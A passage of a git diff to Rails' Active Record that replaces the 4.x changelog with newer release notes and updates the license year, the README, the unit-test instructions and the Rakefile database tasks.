+*   `remove_reference` with `foreign_key: true` removes the foreign key before
+    removing the column. This fixes a bug where it was not possible to remove
+    the column on MySQL.
 
-*   Fix multidimensional PG arrays containing non-string items.
+    Fixes #18664.
 
     *Yves Senn*
 
-*   Load fixtures from linked folders.
-
-    *Kassio Borges*
+*   `find_in_batches` now accepts an `:end_at` parameter that complements the `:start`
+     parameter to specify where to stop batch processing.
 
-*   Create a directory for sqlite3 file if not present on the system.
+    *Vipul A M*
 
-    *Richard Schneeman*
+*   Fix rounding problem for PostgreSQL timestamp column.
 
-*   Removed redundant override of `xml` column definition for PG,
-    in order to use `xml` column type instead of `text`.
+    If timestamp column have the precision, it need to format according to
+    the precision of timestamp column.
 
-    *Paul Nikitochkin*, *Michael Nikitochkin*
+    *Ryuta Kamizono*
 
-*   Revert `ActiveRecord::Relation#order` change that make new order
-    prepend the old one.
+*   Respect the database default charset for `schema_migrations` table.
 
-    Before:
+    The charset of `version` column in `schema_migrations` table is depend
+    on the database default charset and collation rather than the encoding
+    of the connection.
 
-        User.order("name asc").order("created_at desc")
-        # SELECT * FROM users ORDER BY created_at desc, name asc
+    *Ryuta Kamizono*
 
-    After:
+*   Raise `ArgumentError` when passing `nil` or `false` to `Relation#merge`.
 
-        User.order("name asc").order("created_at desc")
-        # SELECT * FROM users ORDER BY name asc, created_at desc
+    These are not valid values to merge in a relation so it should warn the users
+    early.
 
-    This also affects order defined in `default_scope` or any kind of associations.
+    *Rafael Mendonça França*
 
-*   Add ability to define how a class is converted to Arel predicates.
-    For example, adding a very vendor specific regex implementation:
+*   Use `SCHEMA` instead of `DB_STRUCTURE` for specifying structure file.
 
-        regex_handler = proc do |column, value|
-          Arel::Nodes::InfixOperation.new('~', column, value.source)
-        end
-        ActiveRecord::PredicateBuilder.register_handler(Regexp, regex_handler)
+    This makes the db:structure tasks consistent with test:load_structure.
 
-    *Sean Griffin & @joannecheng*
+    *Dieter Komendera*
 
-*   Don't allow `quote_value` to be called without a column.
+*   Respect custom primary keys for associations when calling `Relation#where`
 
-    Some adapters require column information to do their job properly.
-    By enforcing the provision of the column for this internal method
-    we ensure that those using adapters that require column information
-    will always get the proper behavior.
+    Fixes #18813.
 
-    *Ben Woosley*
+    *Sean Griffin*
 
-*   When using optimistic locking, `update` was not passing the column to `quote_value`
-    to allow the connection adapter to properly determine how to quote the value. This was
-    affecting certain databases that use specific column types.
+*   Fixed several edge cases which could result in a counter cache updating
+    twice or not updating at all for `has_many` and `has_many :through`.
 
-    Fixes: #6763
+    Fixes #10865.
 
-    *Alfred Wong*
+    *Sean Griffin*
 
-*   rescue from all exceptions in `ConnectionManagement#call`
+*   Foreign keys added by migrations were given random, generated names. This
+    meant a different `structure.sql` would be generated every time a developer
+    ran migrations on their machine.
 
-    Fixes #11497
+    The generated part of foreign key names is now a hash of the table name and
+    column name, which is consistent every time you run the migration.
 
-    As `ActiveRecord::ConnectionAdapters::ConnectionManagement` middleware does
-    not rescue from Exception (but only from StandardError), the Connection
-    Pool quickly runs out of connections when multiple erroneous Requests come
-    in right after each other.
+    *Chris Sinjakli*
 
-    Rescuing from all exceptions and not just StandardError, fixes this
-    behaviour.
+*   Validation errors would be raised for parent records when an association
+    was saved when the parent had `validate: false`. It should not be the
+    responsibility of the model to validate an associated object unless the
+    object was created or modified by the parent.
 
-    *Vipul A M*
+    This fixes the issue by skipping validations if the parent record is
+    persisted, not changed, and not marked for destruction.
 
-*   `change_column` for PostgreSQL adapter respects the `:array` option.
-
-    *Yves Senn*
+    Fixes #17621.
 
-*   Remove deprecation warning from `attribute_missing` for attributes that are columns.
+    *Eileen M. Uchitelle, Aaron Patterson*
 
-    *Arun Agrawal*
+*   Fix n+1 query problem when eager loading nil associations (fixes #18312)
 
-*   Remove extra decrement of transaction deep level.
+    *Sammy Larbi*
 
-    Fixes: #4566
+*   Change the default error message from `can't be blank` to `must exist` for
+    the presence validator of the `:required` option on `belongs_to`/`has_one` associations.
 
-    *Paul Nikitochkin*
+    *Henrik Nygren*
 
-*   Reset @column_defaults when assigning `locking_column`.
-    We had a potential problem. For example:
+*   Fixed ActiveRecord::Relation#group method when argument is SQL reserved key word:
 
-    class Post < ActiveRecord::Base
-      self.column_defaults  # if we call this unintentionally before setting locking_column ...
-      self.locking_column = 'my_locking_column'
-    end
-
-    Post.column_defaults["my_locking_column"]
-    => nil # expected value is 0 !
-
-    *kennyj*
-
-*   Remove extra select and update queries on save/touch/destroy ActiveRecord model
-    with belongs to reflection with option `touch: true`.
+    Example:
 
-    Fixes: #11288
+        SplitTest.group(:key).count
+        Property.group(:value).count
 
-    *Paul Nikitochkin*
+    *Bogdan Gusiev*
 
-*   Remove deprecated nil-passing to the following `SchemaCache` methods:
-    `primary_keys`, `tables`, `columns` and `columns_hash`.
+*   Added the `#or` method on ActiveRecord::Relation, allowing use of the OR
+    operator to combine WHERE or HAVING clauses.
 
-    *Yves Senn*
+    Example:
 
-*   Remove deprecated block filter from `ActiveRecord::Migrator#migrate`.
+        Post.where('id = 1').or(Post.where('id = 2'))
+        # => SELECT * FROM posts WHERE (id = 1) OR (id = 2)
 
-    *Yves Senn*
+    *Sean Griffin*, *Matthew Draper*, *Gael Muller*, *Olivier El Mekki*
 
-*   Remove deprecated String constructor from `ActiveRecord::Migrator`.
+*   Don't define autosave association callbacks twice from
+    `accepts_nested_attributes_for`.
 
-    *Yves Senn*
+    Fixes #18704.
 
-*   Remove deprecated `scope` use without passing a callable object.
+    *Sean Griffin*
 
-    *Arun Agrawal*
+*   Integer types will no longer raise a `RangeError` when assigning an
+    attribute, but will instead raise when going to the database.
 
-*   Remove deprecated `transaction_joinable=` in favor of `begin_transaction`
-    with `:joinable` option.
+    Fixes several vague issues which were never reported directly. See the
+    commit message from the commit which added this line for some examples.
 
-    *Arun Agrawal*
+    *Sean Griffin*
 
-*   Remove deprecated `decrement_open_transactions`.
+*   Values which would error while being sent to the database (such as an
+    ASCII-8BIT string with invalid UTF-8 bytes on SQLite3), no longer error on
+    assignment. They will still error when sent to the database, but you are
+    given the ability to re-assign it to a valid value.
 
-    *Arun Agrawal*
+    Fixes #18580.
 
-*   Remove deprecated `increment_open_transactions`.
+    *Sean Griffin*
 
-    *Arun Agrawal*
+*   Don't remove join dependencies in `Relation#exists?`
 
-*   Remove deprecated `PostgreSQLAdapter#outside_transaction?`
-    method. You can use `#transaction_open?` instead.
+    Fixes #18632.
 
-    *Yves Senn*
+    *Sean Griffin*
 
-*   Remove deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
-    `ActiveRecord::Fixtures.default_fixture_model_name`.
+*   Invalid values assigned to a JSON column are assumed to be `nil`.
 
-    *Vipul A M*
+    Fixes #18629.
 
-*   Removed deprecated `columns_for_remove` from `SchemaStatements`.
+    *Sean Griffin*
 
-    *Neeraj Singh*
+*   Add `ActiveRecord::Base#accessed_fields`, which can be used to quickly
+    discover which fields were read from a model when you are looking to only
+    select the data you need from the database.
 
-*   Remove deprecated `SchemaStatements#distinct`.
+    *Sean Griffin*
 
-    *Francesco Rodriguez*
+*   Introduce the `:if_exists` option for `drop_table`.
 
-*   Move deprecated `ActiveRecord::TestCase` into the rails test
-    suite. The class is no longer public and is only used for internal
-    Rails tests.
+    Example:
 
-    *Yves Senn*
+        drop_table(:posts, if_exists: true)
 
-*   Removed support for deprecated option `:restrict` for `:dependent`
-    in associations.
+    That would execute:
 
-    *Neeraj Singh*
+        DROP TABLE IF EXISTS posts
 
-*   Removed support for deprecated `delete_sql` in associations.
+    If the table doesn't exist, `if_exists: false` (the default) raises an
+    exception whereas `if_exists: true` does nothing.
 
-    *Neeraj Singh*
+    *Cody Cutrer*, *Stefan Kanev*, *Ryuta Kamizono*
 
-*   Removed support for deprecated `insert_sql` in associations.
+*   Don't run SQL if attribute value is not changed for update_attribute method.
 
-    *Neeraj Singh*
+    *Prathamesh Sonpatki*
 
-*   Removed support for deprecated `finder_sql` in associations.
+*   `time` columns can now get affected by `time_zone_aware_attributes`. If you have
+    set `config.time_zone` to a value other than `'UTC'`, they will be treated
+    as in that time zone by default in Rails 5.1. If this is not the desired
+    behavior, you can set
 
-    *Neeraj Singh*
+        ActiveRecord::Base.time_zone_aware_types = [:datetime]
 
-*   Support array as root element in JSON fields.
+    A deprecation warning will be emitted if you have a `:time` column, and have
+    not explicitly opted out.
 
-    *Alexey Noskov & Francesco Rodriguez*
+    Fixes #3145.
 
-*   Removed support for deprecated `counter_sql` in associations.
+    *Sean Griffin*
 
-    *Neeraj Singh*
+*   Tests now run after_commit callbacks. You no longer have to declare
+    `uses_transaction ‘test name’` to test the results of an after_commit.
 
-*   Do not invoke callbacks when `delete_all` is called on collection.
+    after_commit callbacks run after committing a transaction whose parent
+    is not `joinable?`: un-nested transactions, transactions within test cases,
+    and transactions in `console --sandbox`.
 
-    Method `delete_all` should not be invoking callbacks and this
-    feature was deprecated in Rails 4.0. This is being removed.
-    `delete_all` will continue to honor the `:dependent` option. However
-    if `:dependent` value is `:destroy` then the default deletion
-    strategy for that collection will be applied.
+    *arthurnn*, *Ravil Bayramgalin*, *Matthew Draper*
 
-    User can also force a deletion strategy by passing parameter to
-    `delete_all`. For example you can do `@post.comments.delete_all(:nullify)` .
+*   `nil` as a value for a binary column in a query no longer logs as
+    "<NULL binary data>", and instead logs as just "nil".
 
-    *Neeraj Singh*
+    *Sean Griffin*
 
-*   Calling default_scope without a proc will now raise `ArgumentError`.
+*   `attribute_will_change!` will no longer cause non-persistable attributes to
+    be sent to the database.
 
-    *Neeraj Singh*
+    Fixes #18407.
 
-*   Removed deprecated method `type_cast_code` from Column.
+    *Sean Griffin*
 
-    *Neeraj Singh*
+*   Remove support for the `protected_attributes` gem.
 
-*   Removed deprecated options `delete_sql` and `insert_sql` from HABTM
-    association.
+    *Carlos Antonio da Silva*, *Roberto Miranda*
 
-    Removed deprecated options `finder_sql` and `counter_sql` from
-    collection association.
+*   Fix accessing of fixtures having non-string labels like Fixnum.
 
-    *Neeraj Singh*
+    *Prathamesh Sonpatki*
 
-*   Remove deprecated `ActiveRecord::Base#connection` method.
-    Make sure to access it via the class.
+*   Remove deprecated support to preload instance-dependent associations.
 
     *Yves Senn*
 
-*   Remove deprecation warning for `auto_explain_threshold_in_seconds`.
+*   Remove deprecated support for PostgreSQL ranges with exclusive lower bounds.
 
     *Yves Senn*
 
-*   Remove deprecated `:distinct` option from `Relation#count`.
+*   Remove deprecation when modifying a relation with cached arel.
+    This raises an `ImmutableRelation` error instead.
 
     *Yves Senn*
 
-*   Removed deprecated methods `partial_updates`, `partial_updates?` and
-    `partial_updates=`.
+*   Added `ActiveRecord::SecureToken` in order to encapsulate generation of
+    unique tokens for attributes in a model using `SecureRandom`.
 
-    *Neeraj Singh*
+    *Roberto Miranda*
 
-*   Removed deprecated method `scoped`
+*   Change the behavior of boolean columns to be closer to Ruby's semantics.
 
-    *Neeraj Singh*
+    Before this change we had a small set of "truthy", and all others are "falsy".
 
-*   Removed deprecated method `default_scopes?`
+    Now, we have a small set of "falsy" values and all others are "truthy" matching
+    Ruby's semantics.
 
-    *Neeraj Singh*
+    *Rafael Mendonça França*
 
-*   Remove implicit join references that were deprecated in 4.0.
+*   Deprecate `ActiveRecord::Base.errors_in_transactional_callbacks=`.
 
-    Example:
+    *Rafael Mendonça França*
 
-        # before with implicit joins
-        Comment.where('posts.author_id' => 7)
+*   Change transaction callbacks to not swallow errors.
 
-        # after
-        Comment.references(:posts).where('posts.author_id' => 7)
+    Before this change any errors raised inside a transaction callback
+    were getting rescued and printed in the logs.
 
-    *Yves Senn*
+    Now these errors are not rescued anymore and just bubble up, as the other callbacks.
 
-*   Apply default scope when joining associations. For example:
+    *Rafael Mendonça França*
 
-        class Post < ActiveRecord::Base
-          default_scope -> { where published: true }
-        end
+*   Remove deprecated `sanitize_sql_hash_for_conditions`.
 
-        class Comment
-          belongs_to :post
-        end
+    *Rafael Mendonça França*
 
-    When calling `Comment.joins(:post)`, we expect to receive only
-    comments on published posts, since that is the default scope for
-    posts.
+*   Remove deprecated `Reflection#source_macro`.
 
-    Before this change, the default scope from `Post` was not applied,
-    so we'd get comments on unpublished posts.
+    *Rafael Mendonça França*
 
-    *Jon Leighton*
+*   Remove deprecated `symbolized_base_class` and `symbolized_sti_name`.
 
-*   Remove `activerecord-deprecated_finders` as a dependency
+    *Rafael Mendonça França*
 
-    *Łukasz Strzałkowski*
+*   Remove deprecated `ActiveRecord::Base.disable_implicit_join_references=`.
 
-*   Remove Oracle / Sqlserver / Firebird database tasks that were deprecated in 4.0.
+    *Rafael Mendonça França*
 
-    *kennyj*
+*   Remove deprecated access to connection specification using a string accessor.
 
-*   `find_each` now returns an `Enumerator` when called without a block, so that it
-    can be chained with other `Enumerable` methods.
+    Now all strings will be handled as a URL.
 
-    *Ben Woosley*
+    *Rafael Mendonça França*
 
-*   `ActiveRecord::Result.each` now returns an `Enumerator` when called without
-     a block, so that it can be chained with other `Enumerable` methods.
+*   Change the default `null` value for `timestamps` to `false`.
 
-    *Ben Woosley*
+    *Rafael Mendonça França*
 
-*   Flatten merged join_values before building the joins.
+*   Return an array of pools from `connection_pools`.
 
-    While joining_values special treatment is given to string values.
-    By flattening the array it ensures that string values are detected
-    as strings and not arrays.
+    *Rafael Mendonça França*
 
-    Fixes #10669.
+*   Return a null column from `column_for_attribute` when no column exists.
 
-    *Neeraj Singh and iwiznia*
+    *Rafael Mendonça França*
 
-*   Do not load all child records for inverse case.
+*   Remove deprecated `serialized_attributes`.
 
-    currently `post.comments.find(Comment.first.id)` would load all
-    comments for the given post to set the inverse association.
+    *Rafael Mendonça França*
 
-    This has a huge performance penalty. Because if post has 100k
-    records and all these 100k records would be loaded in memory
-    even though the comment id was supplied.
+*   Remove deprecated automatic counter caches on `has_many :through`.
 
-    Fix is to use in-memory records only if loaded? is true. Otherwise
-    load the records using full sql.
+    *Rafael Mendonça França*
 
-    Fixes #10509.
+*   Change the way in which callback chains can be halted.
 
-    *Neeraj Singh*
+    The preferred method to halt a callback chain from now on is to explicitly
+    `throw(:abort)`.
+    In the past, returning `false` in an ActiveRecord `before_` callback had the
+    side effect of halting the callback chain.
+    This is not recommended anymore and, depending on the value of the
+    `config.active_support.halt_callback_chains_on_return_false` option, will
+    either not work at all or display a deprecation warning.
 
-*   `inspect` on Active Record model classes does not initiate a
-    new connection. This means that calling `inspect`, when the
-    database is missing, will no longer raise an exception.
-    Fixes #10936.
+    *claudiob*
 
-    Example:
+*   Clear query cache on rollback.
 
-        Author.inspect # => "Author(no database connection)"
+    *Florian Weingarten*
 
-    *Yves Senn*
+*   Fixed setting of foreign_key for through associations while building of new record.
 
-*   Handle single quotes in PostgreSQL default column values.
-    Fixes #10881.
+    Fixes #12698.
 
-    *Dylan Markow*
+    *Ivan Antropov*
 
-*   Log the sql that is actually sent to the database.
+*   Improve a dump of the primary key support. If it is not a default primary key,
+    correctly dump the type and options.
 
-    If I have a query that produces sql
-    `WHERE "users"."name" = 'a         b'` then in the log all the
-    whitespace is being squeezed. So the sql that is printed in the
-    log is `WHERE "users"."name" = 'a b'`.
+    Fixes #14169, #16599.
 
-    Do not squeeze whitespace out of sql queries. Fixes #10982.
+    *Ryuta Kamizono*
 
-    *Neeraj Singh*
+*   Format the datetime string according to the precision of the datetime field.
 
-*   Fixture setup does no longer depend on `ActiveRecord::Base.configurations`.
-    This is relevant when `ENV["DATABASE_URL"]` is used in place of a `database.yml`.
+    Incompatible to rounding behavior between MySQL 5.6 and earlier.
 
-    *Yves Senn*
+    In 5.5, when you insert `2014-08-17 12:30:00.999999` the fractional part
+    is ignored. In 5.6, it's rounded to `2014-08-17 12:30:01`:
 
-*   Fix mysql2 adapter raises the correct exception when executing a query on a
-    closed connection.
+    http://bugs.mysql.com/bug.php?id=68760
 
-    *Yves Senn*
+    *Ryuta Kamizono*
 
-*   Ambiguous reflections are on :through relationships are no longer supported.
-    For example, you need to change this:
+*   Allow precision option for MySQL datetimes.
 
-        class Author < ActiveRecord::Base
-          has_many :posts
-          has_many :taggings, :through => :posts
-        end
+    *Ryuta Kamizono*
 
-        class Post < ActiveRecord::Base
-          has_one :tagging
-          has_many :taggings
-        end
+*   Fixed automatic inverse_of for models nested in module.
 
-        class Tagging < ActiveRecord::Base
-        end
+    *Andrew McCloud*
 
-    To this:
+*   Change `ActiveRecord::Relation#update` behavior so that it can
+    be called without passing ids of the records to be updated.
 
-        class Author < ActiveRecord::Base
-          has_many :posts
-          has_many :taggings, :through => :posts, :source => :tagging
-        end
+    This change allows to update multiple records returned by
+    `ActiveRecord::Relation` with callbacks and validations.
 
-        class Post < ActiveRecord::Base
-          has_one :tagging
-          has_many :taggings
-        end
+        # Before
+        # ArgumentError: wrong number of arguments (1 for 2)
+        Comment.where(group: 'expert').update(body: "Group of Rails Experts")
 
-        class Tagging < ActiveRecord::Base
-        end
+        # After
+        # Comments with group expert updated with body "Group of Rails Experts"
+        Comment.where(group: 'expert').update(body: "Group of Rails Experts")
 
-    *Aaron Patterson*
+    *Prathamesh Sonpatki*
 
-*   Remove column restrictions for `count`, let the database raise if the SQL is
-    invalid. The previous behavior was untested and surprising for the user.
-    Fixes #5554.
+*   Fix `reaping_frequency` option when the value is a string.
 
-    Example:
+    This usually happens when it is configured using `DATABASE_URL`.
 
-        User.select("name, username").count
-        # Before => SELECT count(*) FROM users
-        # After => ActiveRecord::StatementInvalid
+    *korbin*
 
-        # you can still use `count(:all)` to perform a query unrelated to the
-        # selected columns
-        User.select("name, username").count(:all) # => SELECT count(*) FROM users
+*   Fix error message when trying to create an associated record and the foreign
+    key is missing.
 
-    *Yves Senn*
+    Before this fix the following exception was being raised:
 
-*   Rails now automatically detects inverse associations. If you do not set the
-    `:inverse_of` option on the association, then Active Record will guess the
-    inverse association based on heuristics.
+        NoMethodError: undefined method `val' for #<Arel::Nodes::BindParam:0x007fc64d19c218>
 
-    Note that automatic inverse detection only works on `has_many`, `has_one`,
-    and `belongs_to` associations. Extra options on the associations will
-    also prevent the association's inverse from being found automatically.
+    Now the message is:
 
-    The automatic guessing of the inverse association uses a heuristic based
-    on the name of the class, so it may not work for all associations,
-    especially the ones with non-standard names.
+        ActiveRecord::UnknownAttributeError: unknown attribute 'foreign_key' for Model.
 
-    You can turn off the automatic detection of inverse associations by setting
-    the `:inverse_of` option to `false` like so:
+    *Rafael Mendonça França*
 
-        class Taggable < ActiveRecord::Base
-          belongs_to :tag, inverse_of: false
-        end
-
-    *John Wang*
-
-*   Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432
-
-    *Adam Anderson*
-
-*   Usage of `implicit_readonly` is being removed`. Please use `readonly` method
-    explicitly to mark records as `readonly.
-    Fixes #10615.
+*   When a table has a composite primary key, the `primary_key` method for
+    SQLite3 and PostgreSQL adapters was only returning the first field of the key.
+    Ensures that it will return nil instead, as Active Record doesn't support
+    composite primary keys.
 
-    Example:
+    Fixes #18070.
 
-        user = User.joins(:todos).select("users.*, todos.title as todos_title").readonly(true).first
-        user.todos_title = 'clean pet'
-        user.save! # will raise error
+    *arthurnn*
 
-    *Yves Senn*
+*   `validates_size_of` / `validates_length_of` do not count records,
+    which are `marked_for_destruction?`.
 
-*   Fix the `:primary_key` option for `has_many` associations.
-    Fixes #10693.
+    Fixes #7247.
 
     *Yves Senn*
 
-*   Fix bug where tiny types are incorrectly coerced as boolean when the length is more than 1.
-
-    Fixes #10620.
-
-    *Aaron Patterson*
-
-*   Also support extensions in PostgreSQL 9.1. This feature has been supported since 9.1.
+*   Ensure `first!` and friends work on loaded associations.
 
-    *kennyj*
+    Fixes #18237.
 
-*   Deprecate `ConnectionAdapters::SchemaStatements#distinct`,
-    as it is no longer used by internals.
+    *Sean Griffin*
 
-    *Ben Woosley*
+*   `eager_load` preserves readonly flag for associations.
 
-*   Fix pending migrations error when loading schema and `ActiveRecord::Base.table_name_prefix`
-    is not blank.
+    Closes #15853.
 
-    Call `assume_migrated_upto_version` on connection to prevent it from first
-    being picked up in `method_missing`.
+    *Takashi Kokubun*
 
-    In the base class, `Migration`, `method_missing` expects the argument to be a
-    table name, and calls `proper_table_name` on the arguments before sending to
-    `connection`. If `table_name_prefix` or `table_name_suffix` is used, the schema
-    version changes to `prefix_version_suffix`, breaking `rake test:prepare`.
+*   Provide `:touch` option to `save()` to accommodate saving without updating
+    timestamps.
 
-    Fixes #10411.
+    Fixes #18202.
 
-    *Kyle Stevens*
+    *Dan Olson*
 
-*   Method `read_attribute_before_type_cast` should accept input as symbol.
+*   Provide a more helpful error message when an unsupported class is passed to
+    `serialize`.
 
-    *Neeraj Singh*
+    Fixes #18224.
 
-*   Confirm a record has not already been destroyed before decrementing counter cache.
+    *Sean Griffin*
 
-    *Ben Tucker*
+*   Add bigint primary key support for MySQL.
 
-*   Fixed a bug in `ActiveRecord#sanitize_sql_hash_for_conditions` in which
-    `self.class` is an argument to `PredicateBuilder#build_from_hash`
-    causing `PredicateBuilder` to call non-existent method
-    `Class#reflect_on_association`.
+    Example:
 
-    *Zach Ohlgren*
+        create_table :foos, id: :bigint do |t|
+        end
 
-*   While removing index if column option is missing then raise IrreversibleMigration exception.
+    *Ryuta Kamizono*
 
-    Following code should raise `IrreversibleMigration`. But the code was
-    failing since options is an array and not a hash.
+*   Support for any type primary key.
 
-        def change
-          change_table :users do |t|
-            t.remove_index [:name, :email]
-          end
-        end
+    Fixes #14194.
 
-    Fix was to check if the options is a Hash before operating on it.
+    *Ryuta Kamizono*
 
-    Fixes #10419.
+*   Dump the default `nil` for PostgreSQL UUID primary key.
 
-    *Neeraj Singh*
+    *Ryuta Kamizono*
 
-*   Do not overwrite manually built records during one-to-one nested attribute assignment
+*   Add a `:foreign_key` option to `references` and associated migration
+    methods. The model and migration generators now use this option, rather than
+    the `add_foreign_key` form.
 
-    For one-to-one nested associations, if you build the new (in-memory)
-    child object yourself before assignment, then the NestedAttributes
-    module will not overwrite it, e.g.:
+    *Sean Griffin*
 
-        class Member < ActiveRecord::Base
-          has_one :avatar
-          accepts_nested_attributes_for :avatar
-
-          def avatar
-            super || build_avatar(width: 200)
-          end
-        end
+*   Don't raise when writing an attribute with an out-of-range datetime passed
+    by the user.
 
-        member = Member.new
-        member.avatar_attributes = {icon: 'sad'}
-        member.avatar.width # => 200
+    *Grey Baker*
 
-    *Olek Janiszewski*
+*   Replace deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema` with
+    `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`.
 
-*   fixes bug introduced by #3329. Now, when autosaving associations,
-    deletions happen before inserts and saves. This prevents a 'duplicate
-    unique value' database error that would occur if a record being created had
-    the same value on a unique indexed field as that of a record being destroyed.
+    *Yves Senn*
 
-    *Johnny Holton*
+*   Fixes bug with 'ActiveRecord::Type::Numeric' that causes negative values to
+    be marked as having changed when set to the same negative value.
 
-*   Handle aliased attributes in ActiveRecord::Relation.
+    Closes #18161.
 
-    When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database:
+    *Daniel Fox*
 
-    With the model
+*   Introduce `force: :cascade` option for `create_table`. Using this option
+    will recreate tables even if they have dependent objects (like foreign keys).
+    `db/schema.rb` now uses `force: :cascade`. This makes it possible to
+    reload the schema when foreign keys are in place.
 
-        class Topic
-          alias_attribute :heading, :title
-        end
+    *Matthew Draper*, *Yves Senn*
 
-    The call
+*   `db:schema:load` and `db:structure:load` no longer purge the database
+    before loading the schema. This is left for the user to do.
+    `db:test:prepare` will still purge the database.
 
-        Topic.where(heading: 'The First Topic')
+    Closes #17945.
 
-    should yield the same result as
+    *Yves Senn*
 
-        Topic.where(title: 'The First Topic')
+*   Fix undesirable RangeError by `Type::Integer`. Add `Type::UnsignedInteger`.
 
-    This also applies to ActiveRecord::Relation::Calculations calls such as `Model.sum(:aliased)` and `Model.pluck(:aliased)`.
+    *Ryuta Kamizono*
 
-    This will not work with SQL fragment strings like `Model.sum('DISTINCT aliased')`.
+*   Add `foreign_type` option to `has_one` and `has_many` association macros.
 
-    *Godfrey Chan*
+    This option enables to define the column name of associated object's type for polymorphic associations.
 
-*   Mute `psql` output when running rake db:schema:load.
+    *Ulisses Almeida*, *Kassio Borges*
 
-    *Godfrey Chan*
+*   Remove deprecated behavior allowing nested arrays to be passed as query
+    values.
 
-*   Trigger a save on `has_one association=(associate)` when the associate contents have changed.
+    *Melanie Gilman*
 
-    Fix #8856.
+*   Deprecate passing a class as a value in a query. Users should pass strings
+    instead.
 
-    *Chris Thompson*
+    *Melanie Gilman*
 
-*   Abort a rake task when missing db/structure.sql like `db:schema:load` task.
+*   `add_timestamps` and `remove_timestamps` now properly reversible with
+    options.
 
-    *kennyj*
+    *Noam Gagliardi-Rabinovich*
 
-*   rake:db:test:prepare falls back to original environment after execution.
+*   `ActiveRecord::ConnectionAdapters::ColumnDumper#column_spec` and
+    `ActiveRecord::ConnectionAdapters::ColumnDumper#prepare_column_options` no
+    longer have a `types` argument. They should access
+    `connection#native_database_types` directly.
 
-    *Slava Markevich*
+    *Yves Senn*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 0d7fb865e2..7c2197229d 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index e04abe9b37..f4777919d3 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -1,4 +1,4 @@
-= Active Record -- Object-relational mapping put on rails
+= Active Record -- Object-relational mapping in Rails
 
 Active Record connects classes to relational database tables to establish an
 almost zero-configuration persistence layer for applications. The library
@@ -20,8 +20,10 @@ A short rundown of some of the major features:
    class Product < ActiveRecord::Base
    end
 
-   The Product class is automatically mapped to the table named "products",
-   which might look like this:
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+The Product class is automatically mapped to the table named "products",
+which might look like this:
 
    CREATE TABLE products (
      id int(11) NOT NULL auto_increment,
@@ -29,10 +31,8 @@ A short rundown of some of the major features:
      PRIMARY KEY  (id)
    );
 
-   This would also define the following accessors: `Product#name` and
-   `Product#name=(new_name)`
-
-  {Learn more}[link:classes/ActiveRecord/Base.html]
+This would also define the following accessors: `Product#name` and
+`Product#name=(new_name)`.
 
 
 * Associations between objects defined by simple class methods.
@@ -130,7 +130,7 @@ A short rundown of some of the major features:
   SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
 
 
-* Logging support for Log4r[http://log4r.rubyforge.org] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+* Logging support for Log4r[https://github.com/colbygk/log4r] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
 
     ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
     ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
@@ -208,6 +208,11 @@ API documentation is at:
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
index ca1f2fd665..bae40604b1 100644
--- a/activerecord/RUNNING_UNIT_TESTS.rdoc
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -16,15 +16,19 @@ To run a set of tests:
 You can also run tests that depend upon a specific database backend. For
 example:
 
-  $ bundle exec rake test_sqlite3
+  $ bundle exec rake test:sqlite3
 
 Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
 
-  $ bundle exec rake test_mysql
-  $ bundle exec rake test_mysql2
-  $ bundle exec rake test_postgresql
-  $ bundle exec rake test_sqlite3
-  $ bundle exec rake test_sqlite3_mem
+  $ bundle exec rake test:mysql
+  $ bundle exec rake test:mysql2
+  $ bundle exec rake test:postgresql
+  $ bundle exec rake test:sqlite3
+
+Using the SQLite3 adapter with an in-memory database is the fastest way
+to run the tests:
+
+  $ bundle exec rake test:sqlite3_mem
 
 There should be tests available for each database backend listed in the {Config
 File}[rdoc-label:label-Config+File]. (the exact set of available tests is
@@ -32,8 +36,8 @@ defined in +Rakefile+)
 
 == Config File
 
-If +test/config.yml+ is present, it's parameters are obeyed. Otherwise, the
-parameters in +test/config.example.yml+ are obeyed.
+If +test/config.yml+ is present, then its parameters are obeyed; otherwise, the
+parameters in +test/config.example.yml+ are.
 
 You can override the +connections:+ parameter in either file using the +ARCONN+
 (Active Record CONNection) environment variable:
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index cee1dd5aeb..976b559da9 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -38,31 +38,37 @@ namespace :test do
   end
 end
 
+desc 'Build MySQL and PostgreSQL test databases'
 namespace :db do
-  task :create => ['mysql:build_databases', 'postgresql:build_databases']
-  task :drop => ['mysql:drop_databases', 'postgresql:drop_databases']
+  task :create => ['db:mysql:build', 'db:postgresql:build']
+  task :drop => ['db:mysql:drop', 'db:postgresql:drop']
 end
 
